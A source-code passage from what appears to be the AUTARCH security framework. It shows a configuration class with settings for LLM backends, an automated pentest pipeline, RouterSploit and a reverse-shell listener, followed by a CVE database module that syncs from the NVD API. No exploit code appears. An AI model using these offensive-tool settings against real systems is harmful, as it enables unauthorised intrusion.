for section, options in self.DEFAULT_CONFIG.items():
self.config[section] = options
self.save()
def save(self):
"""Save the current configuration to file."""
with open(self.config_path, 'w') as f:
self.config.write(f)
def get(self, section: str, key: str, fallback=None):
"""Get a configuration value.
Args:
section: Configuration section name
key: Configuration key name
fallback: Default value if key doesn't exist
Returns:
The configuration value or fallback
"""
value = self.config.get(section, key, fallback=fallback)
# Strip quotes from values (handles paths with spaces that were quoted)
if value and isinstance(value, str):
value = value.strip().strip('"').strip("'")
return value
def get_int(self, section: str, key: str, fallback: int = 0) -> int:
"""Get a configuration value as integer."""
return self.config.getint(section, key, fallback=fallback)
def get_float(self, section: str, key: str, fallback: float = 0.0) -> float:
"""Get a configuration value as float."""
return self.config.getfloat(section, key, fallback=fallback)
def get_bool(self, section: str, key: str, fallback: bool = False) -> bool:
"""Get a configuration value as boolean."""
return self.config.getboolean(section, key, fallback=fallback)
def set(self, section: str, key: str, value):
"""Set a configuration value.
Args:
section: Configuration section name
key: Configuration key name
value: Value to set
"""
if section not in self.config:
self.config[section] = {}
self.config[section][key] = str(value)
def is_first_run(self) -> bool:
"""Check if this is the first run of AUTARCH."""
return self.get_bool('autarch', 'first_run', fallback=True)
def mark_setup_complete(self):
"""Mark the first-time setup as complete."""
self.set('autarch', 'first_run', 'false')
self.save()
def get_llama_settings(self) -> dict:
"""Get all llama.cpp settings as a dictionary.
Returns:
Dictionary with llama.cpp settings properly typed
"""
return {
'model_path': self.get('llama', 'model_path', ''),
'n_ctx': self.get_int('llama', 'n_ctx', 4096),
'n_threads': self.get_int('llama', 'n_threads', 4),
'n_gpu_layers': self.get_int('llama', 'n_gpu_layers', 0),
'gpu_backend': self.get('llama', 'gpu_backend', 'cpu'),
'temperature': self.get_float('llama', 'temperature', 0.7),
'top_p': self.get_float('llama', 'top_p', 0.9),
'top_k': self.get_int('llama', 'top_k', 40),
'repeat_penalty': self.get_float('llama', 'repeat_penalty', 1.1),
'max_tokens': self.get_int('llama', 'max_tokens', 2048),
'seed': self.get_int('llama', 'seed', -1),
}
def get_osint_settings(self) -> dict:
"""Get all OSINT settings as a dictionary.
Returns:
Dictionary with OSINT settings properly typed
"""
return {
'max_threads': self.get_int('osint', 'max_threads', 8),
'timeout': self.get_int('osint', 'timeout', 8),
'include_nsfw': self.get_bool('osint', 'include_nsfw', False),
}
def get_pentest_settings(self) -> dict:
"""Get all pentest pipeline settings as a dictionary.
Returns:
Dictionary with pentest settings properly typed
"""
return {
'max_pipeline_steps': self.get_int('pentest', 'max_pipeline_steps', 50),
'output_chunk_size': self.get_int('pentest', 'output_chunk_size', 2000),
'auto_execute': self.get_bool('pentest', 'auto_execute', False),
'save_raw_output': self.get_bool('pentest', 'save_raw_output', True),
}
def get_claude_settings(self) -> dict:
"""Get all Claude API settings as a dictionary.
Returns:
Dictionary with Claude API settings properly typed
"""
return {
'api_key': self.get('claude', 'api_key', ''),
'model': self.get('claude', 'model', 'claude-sonnet-4-20250514'),
'max_tokens': self.get_int('claude', 'max_tokens', 4096),
'temperature': self.get_float('claude', 'temperature', 0.7),
}
def get_transformers_settings(self) -> dict:
"""Get all transformers/safetensors settings as a dictionary.
Returns:
Dictionary with transformers settings properly typed
"""
return {
'model_path': self.get('transformers', 'model_path', ''),
'device': self.get('transformers', 'device', 'auto'),
'torch_dtype': self.get('transformers', 'torch_dtype', 'auto'),
'load_in_8bit': self.get_bool('transformers', 'load_in_8bit', False),
'load_in_4bit': self.get_bool('transformers', 'load_in_4bit', False),
'llm_int8_enable_fp32_cpu_offload': self.get_bool('transformers', 'llm_int8_enable_fp32_cpu_offload', False),
'device_map': self.get('transformers', 'device_map', 'auto'),
'trust_remote_code': self.get_bool('transformers', 'trust_remote_code', False),
'max_tokens': self.get_int('transformers', 'max_tokens', 2048),
'temperature': self.get_float('transformers', 'temperature', 0.7),
'top_p': self.get_float('transformers', 'top_p', 0.9),
'top_k': self.get_int('transformers', 'top_k', 40),
'repetition_penalty': self.get_float('transformers', 'repetition_penalty', 1.1),
}
def get_huggingface_settings(self) -> dict:
"""Get all HuggingFace Inference API settings as a dictionary."""
return {
'api_key': self.get('huggingface', 'api_key', ''),
'model': self.get('huggingface', 'model', 'mistralai/Mistral-7B-Instruct-v0.3'),
'endpoint': self.get('huggingface', 'endpoint', ''),
'provider': self.get('huggingface', 'provider', 'auto'),
'max_tokens': self.get_int('huggingface', 'max_tokens', 1024),
'temperature': self.get_float('huggingface', 'temperature', 0.7),
'top_p': self.get_float('huggingface', 'top_p', 0.9),
'top_k': self.get_int('huggingface', 'top_k', 40),
'repetition_penalty': self.get_float('huggingface', 'repetition_penalty', 1.1),
'do_sample': self.get_bool('huggingface', 'do_sample', True),
'seed': self.get_int('huggingface', 'seed', -1),
'stop_sequences': self.get('huggingface', 'stop_sequences', ''),
}
def get_openai_settings(self) -> dict:
"""Get all OpenAI API settings as a dictionary."""
return {
'api_key': self.get('openai', 'api_key', ''),
'base_url': self.get('openai', 'base_url', 'https://api.openai.com/v1'),
'model': self.get('openai', 'model', 'gpt-4o'),
'max_tokens': self.get_int('openai', 'max_tokens', 4096),
'temperature': self.get_float('openai', 'temperature', 0.7),
'top_p': self.get_float('openai', 'top_p', 1.0),
'frequency_penalty': self.get_float('openai', 'frequency_penalty', 0.0),
'presence_penalty': self.get_float('openai', 'presence_penalty', 0.0),
}
def get_rsf_settings(self) -> dict:
"""Get all RouterSploit settings as a dictionary.
Returns:
Dictionary with RSF settings properly typed
"""
return {
'install_path': self.get('rsf', 'install_path', ''),
'enabled': self.get_bool('rsf', 'enabled', True),
'default_target': self.get('rsf', 'default_target', ''),
'default_port': self.get('rsf', 'default_port', '80'),
'execution_timeout': self.get_int('rsf', 'execution_timeout', 120),
}
def get_upnp_settings(self) -> dict:
"""Get all UPnP settings as a dictionary."""
return {
'enabled': self.get_bool('upnp', 'enabled', True),
'internal_ip': self.get('upnp', 'internal_ip', '10.0.0.26'),
'refresh_hours': self.get_int('upnp', 'refresh_hours', 12),
'mappings': self.get('upnp', 'mappings', ''),
}
def get_revshell_settings(self) -> dict:
"""Get all reverse shell settings as a dictionary."""
return {
'enabled': self.get_bool('revshell', 'enabled', True),
'host': self.get('revshell', 'host', '0.0.0.0'),
'port': self.get_int('revshell', 'port', 17322),
'auto_start': self.get_bool('revshell', 'auto_start', False),
}
@staticmethod
def get_templates_dir() -> Path:
"""Get the path to the configuration templates directory."""
from core.paths import get_templates_dir
return get_templates_dir()
@staticmethod
def get_custom_configs_dir() -> Path:
"""Get the path to the custom user configurations directory."""
from core.paths import get_custom_configs_dir
return get_custom_configs_dir()
def list_hardware_templates(self) -> list:
"""List available hardware configuration templates.
Returns:
List of tuples: (template_id, display_name, description, filename)
"""
templates = [
('nvidia_4070_mobile', 'NVIDIA RTX 4070 Mobile', '8GB VRAM, CUDA, optimal for 7B-13B models', 'nvidia_4070_mobile.conf'),
('amd_rx6700xt', 'AMD Radeon RX 6700 XT', '12GB VRAM, ROCm, optimal for 7B-13B models', 'amd_rx6700xt.conf'),
('orangepi5plus_cpu', 'Orange Pi 5 Plus (CPU)', 'RK3588 ARM64, CPU-only, for quantized models', 'orangepi5plus_cpu.conf'),
('orangepi5plus_mali', 'Orange Pi 5 Plus (Mali GPU)', 'EXPERIMENTAL - Mali-G610 OpenCL acceleration', 'orangepi5plus_mali.conf'),
]
return templates
def list_custom_configs(self) -> list:
"""List user-saved custom configurations.
Returns:
List of tuples: (name, filepath)
"""
custom_dir = self.get_custom_configs_dir()
configs = []
for conf_file in custom_dir.glob('*.conf'):
name = conf_file.stem.replace('_', ' ').title()
configs.append((name, conf_file))
return configs
def load_template(self, template_id: str) -> bool:
"""Load a hardware template into the current configuration.
Args:
template_id: The template identifier (e.g., 'nvidia_4070_mobile')
Returns:
True if loaded successfully, False otherwise
"""
templates = {t[0]: t[3] for t in self.list_hardware_templates()}
if template_id not in templates:
return False
template_path = self.get_templates_dir() / templates[template_id]
if not template_path.exists():
return False
return self._load_llm_settings_from_file(template_path)
def load_custom_config(self, filepath: Path) -> bool:
"""Load a custom configuration file.
Args:
filepath: Path to the custom configuration file
Returns:
True if loaded successfully, False otherwise
"""
if not filepath.exists():
return False
return self._load_llm_settings_from_file(filepath)
def _load_llm_settings_from_file(self, filepath: Path) -> bool:
"""Load LLM settings (llama and transformers sections) from a file.
Preserves model_path from current config (doesn't overwrite).
Args:
filepath: Path to the configuration file
Returns:
True if loaded successfully, False otherwise
"""
try:
template_config = configparser.ConfigParser()
template_config.read(filepath)
# Preserve current model paths
current_llama_path = self.get('llama', 'model_path', '')
current_transformers_path = self.get('transformers', 'model_path', '')
# Load llama section
if 'llama' in template_config:
for key, value in template_config['llama'].items():
if key != 'model_path': # Preserve current model path
self.set('llama', key, value)
# Restore model path
if current_llama_path:
self.set('llama', 'model_path', current_llama_path)
# Load transformers section
if 'transformers' in template_config:
for key, value in template_config['transformers'].items():
if key != 'model_path': # Preserve current model path
self.set('transformers', key, value)
# Restore model path
if current_transformers_path:
self.set('transformers', 'model_path', current_transformers_path)
self.save()
return True
except Exception:
return False
def save_custom_config(self, name: str) -> Path:
"""Save current LLM settings to a custom configuration file.
Args:
name: Name for the custom configuration (will be sanitized)
Returns:
Path to the saved configuration file
"""
# Sanitize name for filename
safe_name = ''.join(c if c.isalnum() or c in '-_' else '_' for c in name.lower())
safe_name = safe_name.strip('_')
if not safe_name:
safe_name = 'custom_config'
custom_dir = self.get_custom_configs_dir()
filepath = custom_dir / f'{safe_name}.conf'
# Create config with just LLM settings
custom_config = configparser.ConfigParser()
# Save llama settings
custom_config['llama'] = {}
for key in self.DEFAULT_CONFIG['llama'].keys():
value = self.get('llama', key, '')
if value:
custom_config['llama'][key] = str(value)
# Save transformers settings
custom_config['transformers'] = {}
for key in self.DEFAULT_CONFIG['transformers'].keys():
value = self.get('transformers', key, '')
if value:
custom_config['transformers'][key] = str(value)
# Add header comment
with open(filepath, 'w') as f:
f.write(f'# AUTARCH Custom LLM Configuration\n')
f.write(f'# Name: {name}\n')
f.write(f'# Saved: {Path(self.config_path).name}\n')
f.write('#\n\n')
custom_config.write(f)
return filepath
def delete_custom_config(self, filepath: Path) -> bool:
"""Delete a custom configuration file.
Args:
filepath: Path to the custom configuration file
Returns:
True if deleted successfully, False otherwise
"""
try:
if filepath.exists() and filepath.parent == self.get_custom_configs_dir():
filepath.unlink()
return True
except Exception:
pass
return False
# Global config instance
_config = None
def get_config() -> Config:
"""Get the global configuration instance."""
global _config
if _config is None:
_config = Config()
return _config

869
core/cve.py Normal file
View File

@ -0,0 +1,869 @@
"""
AUTARCH CVE Database Module
SQLite-based local CVE database with NVD API synchronization
https://nvd.nist.gov/developers/vulnerabilities
"""
import os
import json
import time
import sqlite3
import platform
import subprocess
import urllib.request
import urllib.parse
import threading
from pathlib import Path
from datetime import datetime, timedelta
from typing import Optional, List, Dict, Any, Callable
from .banner import Colors
from .config import get_config
class CVEDatabase:
"""SQLite-based CVE Database with NVD API synchronization."""
NVD_API_BASE = "https://services.nvd.nist.gov/rest/json/cves/2.0"
DB_VERSION = 1
RESULTS_PER_PAGE = 2000 # NVD max is 2000
# OS to CPE mapping for common systems
OS_CPE_MAP = {
'ubuntu': 'cpe:2.3:o:canonical:ubuntu_linux',
'debian': 'cpe:2.3:o:debian:debian_linux',
'fedora': 'cpe:2.3:o:fedoraproject:fedora',
'centos': 'cpe:2.3:o:centos:centos',
'rhel': 'cpe:2.3:o:redhat:enterprise_linux',
'rocky': 'cpe:2.3:o:rockylinux:rocky_linux',
'alma': 'cpe:2.3:o:almalinux:almalinux',
'arch': 'cpe:2.3:o:archlinux:arch_linux',
'opensuse': 'cpe:2.3:o:opensuse:opensuse',
'suse': 'cpe:2.3:o:suse:suse_linux',
'kali': 'cpe:2.3:o:kali:kali_linux',
'mint': 'cpe:2.3:o:linuxmint:linux_mint',
'windows': 'cpe:2.3:o:microsoft:windows',
'macos': 'cpe:2.3:o:apple:macos',
'darwin': 'cpe:2.3:o:apple:macos',
}
# SQL Schema
SCHEMA = """
-- CVE main table
CREATE TABLE IF NOT EXISTS cves (
id INTEGER PRIMARY KEY AUTOINCREMENT,
cve_id TEXT UNIQUE NOT NULL,
description TEXT,
published TEXT,
modified TEXT,
cvss_v3_score REAL,
cvss_v3_severity TEXT,
cvss_v3_vector TEXT,
cvss_v2_score REAL,
cvss_v2_severity TEXT,
cvss_v2_vector TEXT
);
-- CPE (affected products) table
CREATE TABLE IF NOT EXISTS cve_cpes (
id INTEGER PRIMARY KEY AUTOINCREMENT,
cve_id TEXT NOT NULL,
cpe_criteria TEXT NOT NULL,
vulnerable INTEGER DEFAULT 1,
version_start TEXT,
version_end TEXT,
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
);
-- References table
CREATE TABLE IF NOT EXISTS cve_references (
id INTEGER PRIMARY KEY AUTOINCREMENT,
cve_id TEXT NOT NULL,
url TEXT NOT NULL,
source TEXT,
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
);
-- Weaknesses (CWE) table
CREATE TABLE IF NOT EXISTS cve_weaknesses (
id INTEGER PRIMARY KEY AUTOINCREMENT,
cve_id TEXT NOT NULL,
cwe_id TEXT NOT NULL,
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
);
-- Metadata table
CREATE TABLE IF NOT EXISTS metadata (
key TEXT PRIMARY KEY,
value TEXT
);
-- Indexes for fast queries
CREATE INDEX IF NOT EXISTS idx_cve_id ON cves(cve_id);
CREATE INDEX IF NOT EXISTS idx_cve_severity ON cves(cvss_v3_severity);
CREATE INDEX IF NOT EXISTS idx_cve_score ON cves(cvss_v3_score);
CREATE INDEX IF NOT EXISTS idx_cve_published ON cves(published);
CREATE INDEX IF NOT EXISTS idx_cpe_cve ON cve_cpes(cve_id);
CREATE INDEX IF NOT EXISTS idx_cpe_criteria ON cve_cpes(cpe_criteria);
CREATE INDEX IF NOT EXISTS idx_ref_cve ON cve_references(cve_id);
CREATE INDEX IF NOT EXISTS idx_weakness_cve ON cve_weaknesses(cve_id);
"""
def __init__(self, db_path: str = None):
"""Initialize CVE database.
Args:
db_path: Path to SQLite database. Defaults to data/cve/cve.db
"""
if db_path is None:
from core.paths import get_data_dir
self.data_dir = get_data_dir() / "cve"
self.db_path = self.data_dir / "cve.db"
else:
self.db_path = Path(db_path)
self.data_dir = self.db_path.parent
self.data_dir.mkdir(parents=True, exist_ok=True)
self.system_info = self._detect_system()
self._conn = None
self._lock = threading.Lock()
self._init_database()
def _get_connection(self) -> sqlite3.Connection:
"""Get thread-safe database connection."""
if self._conn is None:
self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False)
self._conn.row_factory = sqlite3.Row
return self._conn
def _init_database(self):
"""Initialize database schema."""
with self._lock:
conn = self._get_connection()
conn.executescript(self.SCHEMA)
conn.commit()
def _detect_system(self) -> Dict[str, str]:
"""Detect the current system information."""
info = {
'os_type': platform.system().lower(),
'os_name': '',
'os_version': '',
'os_id': '',
'kernel': platform.release(),
'arch': platform.machine(),
'cpe_prefix': '',
}
if info['os_type'] == 'linux':
os_release = Path("/etc/os-release")
if os_release.exists():
content = os_release.read_text()
for line in content.split('\n'):
if line.startswith('ID='):
info['os_id'] = line.split('=')[1].strip('"').lower()
elif line.startswith('VERSION_ID='):
info['os_version'] = line.split('=')[1].strip('"')
elif line.startswith('PRETTY_NAME='):
info['os_name'] = line.split('=', 1)[1].strip('"')
if not info['os_id']:
if Path("/etc/debian_version").exists():
info['os_id'] = 'debian'
elif Path("/etc/redhat-release").exists():
info['os_id'] = 'rhel'
elif Path("/etc/arch-release").exists():
info['os_id'] = 'arch'
elif info['os_type'] == 'darwin':
info['os_id'] = 'macos'
try:
result = subprocess.run(['sw_vers', '-productVersion'],
capture_output=True, text=True, timeout=5)
info['os_version'] = result.stdout.strip()
except:
pass
elif info['os_type'] == 'windows':
info['os_id'] = 'windows'
info['os_version'] = platform.version()
info['os_name'] = platform.platform()
for os_key, cpe in self.OS_CPE_MAP.items():
if os_key in info['os_id']:
info['cpe_prefix'] = cpe
break
return info
def get_system_info(self) -> Dict[str, str]:
"""Get detected system information."""
return self.system_info.copy()
def get_db_stats(self) -> Dict[str, Any]:
"""Get database statistics."""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
stats = {
'db_path': str(self.db_path),
'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0,
'total_cves': 0,
'total_cpes': 0,
'last_sync': None,
'last_modified': None,
}
try:
cursor.execute("SELECT COUNT(*) FROM cves")
stats['total_cves'] = cursor.fetchone()[0]
cursor.execute("SELECT COUNT(*) FROM cve_cpes")
stats['total_cpes'] = cursor.fetchone()[0]
cursor.execute("SELECT value FROM metadata WHERE key = 'last_sync'")
row = cursor.fetchone()
if row:
stats['last_sync'] = row[0]
cursor.execute("SELECT value FROM metadata WHERE key = 'last_modified'")
row = cursor.fetchone()
if row:
stats['last_modified'] = row[0]
# Count by severity
cursor.execute("""
SELECT cvss_v3_severity, COUNT(*)
FROM cves
WHERE cvss_v3_severity IS NOT NULL
GROUP BY cvss_v3_severity
""")
stats['by_severity'] = {row[0]: row[1] for row in cursor.fetchall()}
except sqlite3.Error:
pass
return stats
# =========================================================================
# NVD API METHODS
# =========================================================================
def _make_nvd_request(self, params: Dict[str, str], verbose: bool = False) -> Optional[Dict]:
"""Make a request to the NVD API."""
url = f"{self.NVD_API_BASE}?{urllib.parse.urlencode(params)}"
if verbose:
print(f"{Colors.DIM} API: {url[:80]}...{Colors.RESET}")
headers = {
'User-Agent': 'AUTARCH-Security-Framework/1.0',
'Accept': 'application/json',
}
config = get_config()
api_key = config.get('nvd', 'api_key', fallback='')
if api_key:
headers['apiKey'] = api_key
try:
req = urllib.request.Request(url, headers=headers)
with urllib.request.urlopen(req, timeout=60) as response:
return json.loads(response.read().decode('utf-8'))
except urllib.error.HTTPError as e:
if verbose:
print(f"{Colors.RED}[X] NVD API error: {e.code} - {e.reason}{Colors.RESET}")
return None
except urllib.error.URLError as e:
if verbose:
print(f"{Colors.RED}[X] Network error: {e.reason}{Colors.RESET}")
return None
except Exception as e:
if verbose:
print(f"{Colors.RED}[X] Request failed: {e}{Colors.RESET}")
return None
def _parse_cve_data(self, vuln: Dict) -> Dict:
"""Parse CVE data from NVD API response."""
cve_data = vuln.get('cve', {})
cve_id = cve_data.get('id', '')
# Description
descriptions = cve_data.get('descriptions', [])
description = ''
for desc in descriptions:
if desc.get('lang') == 'en':
description = desc.get('value', '')
break
# CVSS scores
metrics = cve_data.get('metrics', {})
cvss_v3 = metrics.get('cvssMetricV31', metrics.get('cvssMetricV30', []))
cvss_v2 = metrics.get('cvssMetricV2', [])
cvss_v3_score = None
cvss_v3_severity = None
cvss_v3_vector = None
cvss_v2_score = None
cvss_v2_severity = None
cvss_v2_vector = None
if cvss_v3:
cvss_data = cvss_v3[0].get('cvssData', {})
cvss_v3_score = cvss_data.get('baseScore')
cvss_v3_severity = cvss_data.get('baseSeverity')
cvss_v3_vector = cvss_data.get('vectorString')
if cvss_v2:
cvss_data = cvss_v2[0].get('cvssData', {})
cvss_v2_score = cvss_data.get('baseScore')
cvss_v2_severity = cvss_v2[0].get('baseSeverity')
cvss_v2_vector = cvss_data.get('vectorString')
# CPEs (affected products)
cpes = []
for config in cve_data.get('configurations', []):
for node in config.get('nodes', []):
for match in node.get('cpeMatch', []):
cpes.append({
'criteria': match.get('criteria', ''),
'vulnerable': match.get('vulnerable', True),
'version_start': match.get('versionStartIncluding') or match.get('versionStartExcluding'),
'version_end': match.get('versionEndIncluding') or match.get('versionEndExcluding'),
})
# References
references = [
{'url': ref.get('url', ''), 'source': ref.get('source', '')}
for ref in cve_data.get('references', [])
]
# Weaknesses
weaknesses = []
for weakness in cve_data.get('weaknesses', []):
for desc in weakness.get('description', []):
if desc.get('lang') == 'en' and desc.get('value', '').startswith('CWE-'):
weaknesses.append(desc.get('value'))
return {
'cve_id': cve_id,
'description': description,
'published': cve_data.get('published', ''),
'modified': cve_data.get('lastModified', ''),
'cvss_v3_score': cvss_v3_score,
'cvss_v3_severity': cvss_v3_severity,
'cvss_v3_vector': cvss_v3_vector,
'cvss_v2_score': cvss_v2_score,
'cvss_v2_severity': cvss_v2_severity,
'cvss_v2_vector': cvss_v2_vector,
'cpes': cpes,
'references': references,
'weaknesses': weaknesses,
}
def _insert_cve(self, conn: sqlite3.Connection, cve_data: Dict):
"""Insert or update a CVE in the database."""
cursor = conn.cursor()
# Insert/update main CVE record
cursor.execute("""
INSERT OR REPLACE INTO cves
(cve_id, description, published, modified,
cvss_v3_score, cvss_v3_severity, cvss_v3_vector,
cvss_v2_score, cvss_v2_severity, cvss_v2_vector)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
""", (
cve_data['cve_id'],
cve_data['description'],
cve_data['published'],
cve_data['modified'],
cve_data['cvss_v3_score'],
cve_data['cvss_v3_severity'],
cve_data['cvss_v3_vector'],
cve_data['cvss_v2_score'],
cve_data['cvss_v2_severity'],
cve_data['cvss_v2_vector'],
))
cve_id = cve_data['cve_id']
# Clear existing related data
cursor.execute("DELETE FROM cve_cpes WHERE cve_id = ?", (cve_id,))
cursor.execute("DELETE FROM cve_references WHERE cve_id = ?", (cve_id,))
cursor.execute("DELETE FROM cve_weaknesses WHERE cve_id = ?", (cve_id,))
# Insert CPEs
for cpe in cve_data['cpes']:
cursor.execute("""
INSERT INTO cve_cpes (cve_id, cpe_criteria, vulnerable, version_start, version_end)
VALUES (?, ?, ?, ?, ?)
""", (cve_id, cpe['criteria'], 1 if cpe['vulnerable'] else 0,
cpe['version_start'], cpe['version_end']))
# Insert references (limit to 10)
for ref in cve_data['references'][:10]:
cursor.execute("""
INSERT INTO cve_references (cve_id, url, source)
VALUES (?, ?, ?)
""", (cve_id, ref['url'], ref['source']))
# Insert weaknesses
for cwe in cve_data['weaknesses']:
cursor.execute("""
INSERT INTO cve_weaknesses (cve_id, cwe_id)
VALUES (?, ?)
""", (cve_id, cwe))
# =========================================================================
# DATABASE SYNC
# =========================================================================
def sync_database(
self,
days_back: int = 120,
full_sync: bool = False,
progress_callback: Callable[[str, int, int], None] = None,
verbose: bool = True
) -> Dict[str, Any]:
"""Synchronize database with NVD.
Args:
days_back: For incremental sync, get CVEs from last N days.
full_sync: If True, download entire database (WARNING: slow, 200k+ CVEs).
progress_callback: Callback function(message, current, total).
verbose: Show progress messages.
Returns:
Sync statistics dictionary.
"""
stats = {
'started': datetime.now().isoformat(),
'cves_processed': 0,
'cves_added': 0,
'cves_updated': 0,
'errors': 0,
'completed': False,
}
if verbose:
print(f"{Colors.CYAN}[*] Starting CVE database sync...{Colors.RESET}")
# Determine date range
if full_sync:
# Start from 1999 (first CVEs)
start_date = datetime(1999, 1, 1)
if verbose:
print(f"{Colors.YELLOW}[!] Full sync requested - this may take a while...{Colors.RESET}")
else:
start_date = datetime.utcnow() - timedelta(days=days_back)
end_date = datetime.utcnow()
# Calculate total CVEs to fetch (estimate)
params = {
'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'),
'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'),
'resultsPerPage': '1',
}
response = self._make_nvd_request(params, verbose)
if not response:
if verbose:
print(f"{Colors.RED}[X] Failed to connect to NVD API{Colors.RESET}")
return stats
total_results = response.get('totalResults', 0)
if verbose:
print(f"{Colors.CYAN}[*] Found {total_results:,} CVEs to process{Colors.RESET}")
if total_results == 0:
stats['completed'] = True
return stats
# Process in batches
start_index = 0
batch_num = 0
total_batches = (total_results + self.RESULTS_PER_PAGE - 1) // self.RESULTS_PER_PAGE
with self._lock:
conn = self._get_connection()
while start_index < total_results:
batch_num += 1
if verbose:
pct = int((start_index / total_results) * 100)
print(f"{Colors.CYAN}[*] Batch {batch_num}/{total_batches} ({pct}%) - {start_index:,}/{total_results:,}{Colors.RESET}")
if progress_callback:
progress_callback(f"Downloading batch {batch_num}/{total_batches}", start_index, total_results)
params = {
'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'),
'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'),
'resultsPerPage': str(self.RESULTS_PER_PAGE),
'startIndex': str(start_index),
}
response = self._make_nvd_request(params, verbose=False)
if not response:
stats['errors'] += 1
if verbose:
print(f"{Colors.YELLOW}[!] Batch {batch_num} failed, retrying...{Colors.RESET}")
time.sleep(6) # NVD rate limit
continue
vulnerabilities = response.get('vulnerabilities', [])
for vuln in vulnerabilities:
try:
cve_data = self._parse_cve_data(vuln)
self._insert_cve(conn, cve_data)
stats['cves_processed'] += 1
stats['cves_added'] += 1
except Exception as e:
stats['errors'] += 1
if verbose:
print(f"{Colors.RED}[X] Error processing CVE: {e}{Colors.RESET}")
conn.commit()
start_index += self.RESULTS_PER_PAGE
# Rate limiting - NVD allows 5 requests per 30 seconds without API key
config = get_config()
if not config.get('nvd', 'api_key', fallback=''):
time.sleep(6)
else:
time.sleep(0.6) # With API key: 50 requests per 30 seconds
# Update metadata
conn.execute("""
INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_sync', ?)
""", (datetime.now().isoformat(),))
conn.execute("""
INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_modified', ?)
""", (end_date.isoformat(),))
conn.commit()
stats['completed'] = True
stats['finished'] = datetime.now().isoformat()
if verbose:
print(f"{Colors.GREEN}[+] Sync complete: {stats['cves_processed']:,} CVEs processed{Colors.RESET}")
return stats
def sync_recent(self, days: int = 7, verbose: bool = True) -> Dict[str, Any]:
"""Quick sync of recent CVEs only."""
return self.sync_database(days_back=days, full_sync=False, verbose=verbose)
# =========================================================================
# QUERY METHODS
# =========================================================================
def search_cves(
self,
keyword: str = None,
cpe_pattern: str = None,
severity: str = None,
min_score: float = None,
max_results: int = 100,
days_back: int = None
) -> List[Dict]:
"""Search CVEs in local database.
Args:
keyword: Search in CVE ID or description.
cpe_pattern: CPE pattern to match (uses LIKE).
severity: Filter by severity (LOW, MEDIUM, HIGH, CRITICAL).
min_score: Minimum CVSS v3 score.
max_results: Maximum results to return.
days_back: Only return CVEs from last N days.
Returns:
List of matching CVE dictionaries.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
query = "SELECT DISTINCT c.* FROM cves c"
conditions = []
params = []
if cpe_pattern:
query += " LEFT JOIN cve_cpes cp ON c.cve_id = cp.cve_id"
conditions.append("cp.cpe_criteria LIKE ?")
params.append(f"%{cpe_pattern}%")
if keyword:
conditions.append("(c.cve_id LIKE ? OR c.description LIKE ?)")
params.extend([f"%{keyword}%", f"%{keyword}%"])
if severity:
conditions.append("c.cvss_v3_severity = ?")
params.append(severity.upper())
if min_score is not None:
conditions.append("c.cvss_v3_score >= ?")
params.append(min_score)
if days_back:
cutoff = (datetime.utcnow() - timedelta(days=days_back)).strftime('%Y-%m-%d')
conditions.append("c.published >= ?")
params.append(cutoff)
if conditions:
query += " WHERE " + " AND ".join(conditions)
query += " ORDER BY c.cvss_v3_score DESC NULLS LAST, c.published DESC"
query += f" LIMIT {max_results}"
cursor.execute(query, params)
rows = cursor.fetchall()
return [self._row_to_dict(row) for row in rows]
def get_cve(self, cve_id: str) -> Optional[Dict]:
"""Get detailed information about a specific CVE.
Args:
cve_id: The CVE ID (e.g., CVE-2024-1234).
Returns:
CVE details dictionary or None if not found.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
# Get main CVE data
cursor.execute("SELECT * FROM cves WHERE cve_id = ?", (cve_id,))
row = cursor.fetchone()
if not row:
return None
cve = self._row_to_dict(row)
# Get CPEs
cursor.execute("SELECT * FROM cve_cpes WHERE cve_id = ?", (cve_id,))
cve['cpes'] = [dict(r) for r in cursor.fetchall()]
# Get references
cursor.execute("SELECT url, source FROM cve_references WHERE cve_id = ?", (cve_id,))
cve['references'] = [dict(r) for r in cursor.fetchall()]
# Get weaknesses
cursor.execute("SELECT cwe_id FROM cve_weaknesses WHERE cve_id = ?", (cve_id,))
cve['weaknesses'] = [r['cwe_id'] for r in cursor.fetchall()]
return cve
def get_system_cves(
self,
severity_filter: str = None,
max_results: int = 100
) -> List[Dict]:
"""Get CVEs relevant to the detected system.
Args:
severity_filter: Filter by severity.
max_results: Maximum results.
Returns:
List of relevant CVEs.
"""
cpe_prefix = self.system_info.get('cpe_prefix', '')
if not cpe_prefix:
return []
# Build CPE pattern for this system
cpe_pattern = cpe_prefix
if self.system_info.get('os_version'):
version = self.system_info['os_version'].split('.')[0]
cpe_pattern = f"{cpe_prefix}:{version}"
return self.search_cves(
cpe_pattern=cpe_pattern,
severity=severity_filter,
max_results=max_results
)
def get_software_cves(
self,
software: str,
vendor: str = None,
version: str = None,
max_results: int = 100
) -> List[Dict]:
"""Search CVEs for specific software.
Args:
software: Software/product name.
vendor: Vendor name (optional).
version: Software version (optional).
max_results: Maximum results.
Returns:
List of CVEs.
"""
# Try CPE-based search first
cpe_pattern = software.lower().replace(' ', '_')
if vendor:
cpe_pattern = f"{vendor.lower()}:{cpe_pattern}"
if version:
cpe_pattern = f"{cpe_pattern}:{version}"
results = self.search_cves(cpe_pattern=cpe_pattern, max_results=max_results)
# Also search by keyword if CPE search returns few results
if len(results) < 10:
keyword = software
if vendor:
keyword = f"{vendor} {software}"
keyword_results = self.search_cves(keyword=keyword, max_results=max_results)
# Merge results, avoiding duplicates
seen = {r['cve_id'] for r in results}
for r in keyword_results:
if r['cve_id'] not in seen:
results.append(r)
seen.add(r['cve_id'])
return results[:max_results]
def get_cves_by_severity(self, severity: str, max_results: int = 100) -> List[Dict]:
"""Get CVEs by severity level."""
return self.search_cves(severity=severity, max_results=max_results)
def get_recent_cves(self, days: int = 30, max_results: int = 100) -> List[Dict]:
